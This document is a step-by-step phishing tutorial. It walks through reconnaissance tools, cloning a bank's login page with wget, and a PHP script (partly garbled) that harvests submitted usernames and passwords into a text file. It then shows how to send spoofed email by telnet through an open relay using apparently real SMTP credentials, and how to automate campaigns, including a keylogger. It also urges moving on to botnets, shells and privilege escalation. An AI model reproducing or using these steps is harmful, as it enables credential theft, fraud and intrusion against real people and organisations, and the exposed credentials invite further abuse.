𝗣𝗛𝗜𝗦𝗛𝗜𝗡𝗚
Phishing is the attempt to acquire sensitive information by disguising itself as a known and trusted entity in the world of electronic communication.
Types Of Sensitive Information
▶️Login Credentials (Email / User / Pass)
▶️Credit Cards
▶️Identity (Driving License Documents)
▶️Health Information
▶️Accounts like: Steam, Bitcoin Wallet etc.
3 Types Of Usual Attacks
🔵P
hishing - usually with a specific goal and to receive money
🔵
Spear phishing - specific goals or groups
🔵
Whaling - specific on a single person
Phishing Process
1️⃣ Reconnaissance (e.g. E-Mail, Position in the Company, Systems, Log-in Page etc.)
▶️Information Gathering
▶️Large companies potentially buy email on black market
▶️Start testing to correct future attacks
▶️Active and passive information gathering for vulnerabilities
Survey Tools:
▶️Metagoofil (
https://tools.kali.org/information-gathering/metagoofil)
▶️Maltengo Radium (
https://www.maltego.com/downloads/)
▶️Net Glub (
http://redmine.lab.diateam.net/attachments/download/1/netglub-1.0.tar.gz)
▶️Recon-ng (
https://github.com/lanmaster53/recon-ng)
▶️TheHavarester (
https://github.com/laramies/theHarvester)
2️⃣ Setup and deploy (organization of systems useful to our goal)
▶️Domain Registration (
https://www.godaddy.com)
▶️Mass Mailer
▶️Open Relays For The Domain Target
▶️Web Server Setup
▶️Website Cloning
▶️Web Application Development
▶️Malicious Attachments / Malware Payloads
▶️Browser Exploits
Read Also : What is Open Relay (
https://www.techopedia.com/definition/1699/open-relay)
Test verything before sending you will not have a second chance (send first to own mail, use protonmail, gmail with anti spam detection).
3️⃣ Collect responses / organize them
Test your credentials:
Make other phish attacks from trusted account, connect them to a botnet / shells and persist increase your privileges.
4️⃣ Draw up a report do it for exercise and to keep everything tidy
Let's get to work. We identify our goal and fully carry out point one
Clone the website for hosting:
wget -r
https://URL
URL = Your URLStart fixing the cloned site:
sudo cp -r -v bankofamerica.com/index /var/www/html
sudo nano /var/www/html/index.html
This attack to be functional we need to register user and pass of the various users, we can write a short php script to collect all the variables (like user / pass)
We register username and password:
$ user = & _POST ['_ user'];
$ pass = & _POST ['_ pass'];
We save them in collect.txt
$ f = fopen ("collect.txt", "a");
fwrite ($ f, "$ user: $ pass \ n");
fclose ();
We refer them to the original site
header ("Location:
https://localhost/index.html");
die ();
Edit the localhost with your server name (Phishing Website)
service apache2 start
Type on firefox localhost/index.html and you can see your website. I will talk soon about setting up a phishing page with own login and making a amazon phishing site or so on.
So as we set up the script the copy of the website the script would not work, so we have to go to the cloanate site and change the form.
original
working
So once we have created the site and found a way to collect the data we have to set up a server and finally test our attacks.
So here we have the right set of permissions for our web page
sudo chown www-data /var/www/ -R
service apache2 restart
Now testing the page we created we go to check:
cat /var/www/html/collect.txt
for example: lol / user iMbid / pass
Once tested that this works we go back to the reconnaissance phase
Mail server
We must understand how to send phishing e-mail.
During a vulnerability scan we will find that the mail server to an open relay that will allow us to impersonate a specific user.
So using telnet we will build the email for our goal.
In which we will impersonate a known and privileged user, who asks another known and privileged user to test the new performances of a specific private section
We are using SMTPs for this section ex:
webmail.gamewood.net:587,gin4fred@gamewood.net,srcosth
SMTP Server : webmail.gamewood.netPort : 587
Mail : gin4fred@gamewood.net
Password : scrcosth
telnet webmail.gamewood.net 587
EHLO webmail.gamewood.net
MAIL FROM: no-reply@amazonl.com
RCPT TO: john-smith@gmail.com
DATA
SUBJECT: Webmail Site Update
We are currently testing a new performance configuration for the webmail site, please test the site change by visiting:
https://rec.amazon.com/index.html (our crafted url)
Thanks
.
quit
Attack tools - Make the job easier
▶️SET (
https://github.com/trustedsec/social-engineer-toolkit )
▶️Phishing Frenzy (
https://github.com/pentestgeek/phishing-frenzy )
▶️beEF (
https://github.com/beefproject/beef )
SET the best, completed tool of social engineering attacks
beEF is normally used as part of the attack to learn more information
Phishing Frenzy is like SET and very nice
--------------------
Speedphish Framework - SPF
✦ Passes for all initial work points
✦ Automatic tasks useful to perform a phishing attack
✦ Written in python
✦ Complete or partial automation
✦ Can be configured with external tools if available
Features:
➣ Collects email addresses from internet
➣ Setup & host website
➣ Send phishing e-mail to our target
➣ Keylogger
➣ Create reports
Installation:
sudo apt-get install git build-essential python-dev python-pip phantomjs -y
sudo apt install python3-twisted
sudo apt install python3-dnspython
git clone
https://github.com/tatanus/SPFcd SPF
/spf
$ ./spf.py -h
Important give a delay to:
--test
--all
The suggestion is to run --test first and check all the work and that it is perfect
Let's take a look at the config:
We can set up the server that sends email
If we try to run
./spf.py --test -d example.com
Will tell us that it is using the settings in the default.cfg (we can also have multiple.cfg files)
Is trying to find emails linked to the website
at the end of the process he will tell us that for example 41 emails have been found linked to our target.
Then tool will start phishing on the webserver looking for template we will edit the templates
you will find us e-mail template then it will start sending emails
Finally, it will monitor the phishing website activity we will see all the activities on our templates and pressing ctrlc will stop the webserver generating the report.
Of course if we have not collected anything it is not convenient to interrupt the webserver.
